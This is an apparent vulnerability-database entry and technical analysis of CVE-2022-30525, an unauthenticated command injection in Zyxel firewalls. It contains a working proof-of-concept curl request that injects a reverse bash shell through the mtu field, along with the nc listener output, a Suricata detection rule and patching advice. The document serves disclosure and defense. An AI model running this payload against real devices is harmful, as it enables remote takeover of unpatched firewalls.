Attacker Value
Very High
(1 user assessed)
Exploitability
Very High
(1 user assessed)
User Interaction
Unknown
Privileges Required
Unknown
Attack Vector
Unknown
2

CVE-2022-30525

Exploited in the Wild
Add MITRE ATT&CK tactics and techniques that apply to this CVE.
Initial Access
Techniques
Validation
Validated
Validated

Description

A OS command injection vulnerability in the CGI program of Zyxel USG FLEX 100(W) firmware versions 5.00 through 5.21 Patch 1, USG FLEX 200 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 500 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 700 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 50(W) firmware versions 5.10 through 5.21 Patch 1, USG20(W)-VPN firmware versions 5.10 through 5.21 Patch 1, ATP series firmware versions 5.10 through 5.21 Patch 1, VPN series firmware versions 4.60 through 5.21 Patch 1, which could allow an attacker to modify specific files and then execute some OS commands on a vulnerable device.

Add Assessment

2
Ratings
  • Attacker Value
    Very High
  • Exploitability
    Very High
Technical Analysis

This vulnerability is an easy to exploit unauthenticated and remote OS command injection vulnerability. Please see the Rapid7 analysis for details.

General Information

Vendors

  • Zyxel

Products

  • USG FLEX 100(W) firmware,
  • USG FLEX 200 firmware,
  • USG FLEX 500 firmware,
  • USG FLEX 700 firmware,
  • ATP series firmware,
  • VPN series firmware,
  • USG FLEX 50(W) firmware,
  • USG 20(W)-VPN firmware

Exploited in the Wild

Reported by:

Additional Info

Technical Analysis

On Apri 28, 2022, Zyxel published firmware that fixed CVE-2022-30525. The vulnerability, discovered by Rapid7, was an unauthenticated and remote command injection vulnerability affecting some Zyxel firewalls’ administrative web interface. An attacker that exploits this vulnerability achieves remote command execution as nobody. The vulnerability scores CVSSv3 9.8.

The following table contains the affected models and firmware versions.

Affected Model Affected Firmware Version
USG FLEX 100, 100W, 200, 500, 700 ZLD5.00 thru ZLD5.21 Patch 1
USG20-VPN, USG20W-VPN ZLD5.10 thru ZLD5.21 Patch 1
ATP 100, 200, 500, 700, 800 ZLD5.10 thru ZLD5.21 Patch 1

On May 12, 2022, Rapid7 published an advisory and Metasploit module for this vulnerability. Observations from Shodan indicate that a noticeable amount of users have already upgraded their firewalls. However, we still anticipate some amount of exploitation in the wild.

Analysis

The vulnerability stems from the use of os.system with attacker-provided data. The attack is initiated through the /ztp/cgi-bin/handler endpoint. handler is a Python script that handles a wide variety of commands. Our test Zyxel USG FLEX 100 using firmware version 5.21 uses a handler.py with the following supported commands (as written in handler.py):

supported_cmd = ["ping", "dnsanswer", "ps", "peek", "kill", "pcap", "traceroute", \
  "atraceroute", "iptables", "getorchstat", \
  "getInterfaceName_out", "getInterfaceInfo", \
  #"getSingleInterfaceInfo", "getAllInterfaceInfo", \
  #"getInterfaceNameAll", "getInterfaceNameMapping", \
  "nslookup", "iproget", \
  "diagnosticinfo", "networkUnitedTest", \
  #"setRemoteAssistActive", "getRemoteAssist", \
  "setRemoteZyxelSupport", "getRemoteZyxelSupport", \
  "getWanPortList", "getWanPortSt", "setWanPortSt", "getZTPurl", "getWanConnSt", \
  "getUSBSt","setUSBmount","setUSBactive", \
  "getDiagnosticInfoUsb", \
  "getDeviceCloudInfo", "getpacketcapconf", "getpacketcapst", "packetcapstart", "packetcapend", "packetcapremovefile", \
  "getlanguagest","setlanguage"
]

These commands offer, by design, a variety of interesting options for an unauthenticated user. The command that is vulnerable to CVE-2022-30525 is getWanPortSt.

elif req["command"] == "getWanPortSt":
    reply = lib_wan_setting.getWanPortSt()  

Above, we can see that getWanPortSt calls into lib_wan_setting.getWanPortSt. This is implemented in lib_wan_setting.py.

'''
***************************************************************************
* setwanport function
* @param port: port for setting
* @param vlanid: vlan id , 0 for default disalbing vlan
* @param proto: type of wan (dhcp, static, pppoe)
* @param data: detail setting for different port type
*
* @return reply{
*               "code": <exception error code>,
*               "message": <exception>,
*               "result": {'ZTPurl':"xx"}
*          }
***************************************************************************
'''
def setWanPortSt(req):

    reply = {}
    vlan_tagged = ''
    logging.info(req)
    port = req["port"].strip()

    vlanid = req["vlanid"]
    proto = req["proto"]
    data = req["data"]
    vlan_tagged = req["vlan_tagged"]
…

The getWanPortSt command requires four parameters: vlanid, proto, data, and vlan_tagged. Additionally, it accepts an mtu parameter. Both data and mtu can be exploited for command injection. data actually holds an additional JSON blob, so it’s easier to just exploit mtu.

Eventually, after some amount of validation, all of the provided parameters are combined into a single command and executed.

    cmdLine += extname + ' ' + port.lower() + ' ' + data['username'] + ' ' + data['password'] \
        + ' ' + data['auth_type'] \
        + ' ' + data['ipaddr'] + ' ' + data['gateway'] \
        + ' ' + data['firstDnsServer'] + ' ' + req['mtu']
    if vlan_tagged == '1':
        cmdLine += ' ' + vlanid
    cmdLine += ' >/dev/null 2>&1'
    
logging.info("cmdLine = %s" % cmdLine)
with open("/tmp/local_gui_write_flag", "w") as fout:
    fout.write("1");

response = os.system(cmdLine) 
logging.info(response)

A proof-of-concept reverse bash shell using curl looks as follows. Note that the command is inserted into the mtu field.

curl -v --insecure -X POST -H "Content-Type: application/json" -d '{"command":"setWanPortSt","proto":"dhcp","port":"1270","vlan_tagged":"1","vlanid":"5","mtu":"; bash -c \"exec bash -i &>/dev/tcp/10.0.0.2/1270 <&1;\";","data":"hi"}' https://10.0.0.14/ztp/cgi-bin/handler

On the attacker machine, this can be caught using nc:

albinolobster@ubuntu:~$ nc -lvnp 1270
Listening on 0.0.0.0 1270
Connection received on 10.0.0.14 41498
bash: cannot set terminal process group (10800): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.1$ id     
id
uid=99(nobody) gid=10003(shadowr) groups=99,10003(shadowr)
bash-5.1$ ps faux
ps faux

And from the shell we can observe how the attack looks from the perspective of ps faux:

nobody   13184  0.0  0.2  20952  5072 ?        S    May09   0:00  \_ /usr/local/apache/bin/httpd -f /usr/local/zyxel-gui/httpd.conf -k graceful -DSSL
nobody     640  9.3  0.6  18104 11224 ?        S    08:58   0:02  |   \_ /usr/bin/python /usr/local/zyxel-gui/htdocs/ztp/cgi-bin/handler.py
nobody     641  0.0  0.0   3568  1508 ?        S    08:58   0:00  |       \_ sh -c /usr/sbin/sdwan_iface_ipc 11 WAN1269 1270 ; bash -c "exec bash -i &>/dev/tcp/10.0.0.2/1270 <&1;"; 5 >/dev/null 2>&1
nobody     643  0.0  0.0   3716  1760 ?        S    08:58   0:00  |           \_ bash -i

Indicators of Compromise

Unfortunately, the firewalls’ logging does not provide any useful insight into exploitation. The affected firewalls do support a diagnostic feature, but it isn’t something that would be wise to run in production. If possible, we suggest monitoring the systems ingress and egress for abnormal behavior. The following Suricata rule should help identify exploitation when the mtu field is used for exploitation:

alert http any any -> any any ( \
    msg:"Possible Zyxel ZTP setWanPortSt mtu Exploit Attempt"; \
    flow:to_server; \
    http.method; content:"POST"; \
    http.uri; content:"/ztp/cgi-bin/handler"; \
    http.request_body; content:"setWanPortSt"; \
    http.request_body; content:"mtu"; \
    http.request_body; pcre:"/mtu["']\s*:\s*["']\s*[^0-9]+/i";
    classtype:misc-attack; \
    sid:221270;)

Recommendations

Update affected firewalls as soon as possible. The affected firewalls all support automatic updates, but that feature needs to be enabled. We recommend enabling automatic updates immediately. Finally, in an ideal world, the management web interface wouldn’t be exposed to the internet. If possible, disable WAN access. If that isn’t possible, try to enforce a strict IP allow list.